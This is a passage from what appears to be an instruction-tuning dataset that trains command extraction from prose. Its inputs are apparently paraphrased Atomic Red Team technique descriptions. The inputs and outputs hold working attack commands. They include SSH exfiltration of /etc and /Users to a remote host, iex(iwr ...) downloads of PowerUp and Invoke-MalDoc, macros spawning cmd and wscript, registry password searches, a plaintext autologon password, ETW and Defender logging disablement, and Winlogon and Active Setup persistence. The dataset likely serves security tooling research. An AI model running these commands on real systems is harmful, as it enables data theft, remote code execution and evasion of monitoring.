    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test SSH exfiltration from a remote domain to your local machine, use the following command which will create a compressed archive of the /etc directory: ssh #{domain} \"(cd /etc && tar -zcvf - *)\" > ./etc.tar.gz; Upon successful execution, the system will compress and encrypt the /Users/* directory via this command, producing the output file Users.tar.gz.enc: tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'",
    "output": "{\"command_list\": [\"ssh #{domain} \\\"(cd /etc && tar -zcvf - *)\\\" > ./etc.tar.gz\\n\", \"tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test leverages a VBA macro to execute cmd with flags seen in recent maldocs and second-stage downloaders. To perform this action, use the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"  a = Shell(`\"cmd.exe /c choice /C Y /N /D Y /T 3`\", vbNormalFocus)\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"; This attack executes JavaScript through CMD by spawning wscript.exe, with execution handled via the following Invoke-MalDoc command to inject VBA into Office files: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{jse_path}`\" For Output As #1`n   Write #1, `\"WScript.Quit`\"`n   Close #1`n   a = Shell(`\"cmd.exe /c wscript.exe //E:jscript #{jse_path}`\", vbNormalFocus)`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"  a = Shell(`\\\"cmd.exe /c choice /C Y /N /D Y /T 3`\\\", vbNormalFocus)\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{jse_path}`\\\" For Output As #1`n   Write #1, `\\\"WScript.Quit`\\\"`n   Close #1`n   a = Shell(`\\\"cmd.exe /c wscript.exe //E:jscript #{jse_path}`\\\", vbNormalFocus)`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For enumerating credentials within the Registry, execute these commands to reveal keys with 'password' in their values:\nreg query HKLM /f password /t REG_SZ /s\nreg query HKCU /f password /t REG_SZ /s\n; This test checks for PuTTY credentials in the Registry with the command: reg query HKCU\\Software\\SimonTatham\\PuTTY\\Sessions /t REG_SZ /s, which will display any found entries.",
    "output": "{\"command_list\": [\"reg query HKLM /f password /t REG_SZ /s\\nreg query HKCU /f password /t REG_SZ /s\\n\", \"reg query HKCU\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions /t REG_SZ /s\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For LockBit Black, you can turn off the Privacy Settings Experience with the command: New-ItemProperty \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\OOBE\" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force; To enable automatic logon using Registry Editor, run the following command: New-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Value Administrator -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Value contoso.com -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword  -Value password1 -Force",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKCU:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\OOBE\\\" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force\\n\", \"New-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultUserName -Value Administrator -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultDomainName -Value contoso.com -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultPassword  -Value password1 -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Windows registry can be updated to disable ETW for the .NET Framework using the command: New-ItemProperty -Path HKLM:\\Software\\Microsoft\\.NETFramework -Name ETWEnabled -Value 0 -PropertyType \"DWord\" -Force; To prevent logging to the Microsoft-Windows-Windows-Defender/Operational channel, an adversary can disable the ETW Provider by executing this command: reg add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender/Operational\" /v Enabled /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"New-ItemProperty -Path HKLM:\\\\Software\\\\Microsoft\\\\.NETFramework -Name ETWEnabled -Value 0 -PropertyType \\\"DWord\\\" -Force\", \"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WINEVT\\\\Channels\\\\Microsoft-Windows-Windows Defender/Operational\\\" /v Enabled /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By executing this command, you'll decrease the registry key version and force the StubPath payload to run: Set-ItemProperty -Path \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Value \"0,0,0,0\"\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup; For executing a specified binary with explorer.exe during Windows logon, run this command: Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force",
    "output": "{\"command_list\": [\"Set-ItemProperty -Path \\\"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\{C9E9A340-D1F1-11D0-821E-444553540600}\\\" -Name \\\"Version\\\" -Value \\\"0,0,0,0\\\"\\n& $env:SYSTEMROOT\\\\system32\\\\runonce.exe /AlternateShellStartup\\n\", \"Set-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\" \\\"Shell\\\" \\\"explorer.exe, #{binary_to_execute}\\\" -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an 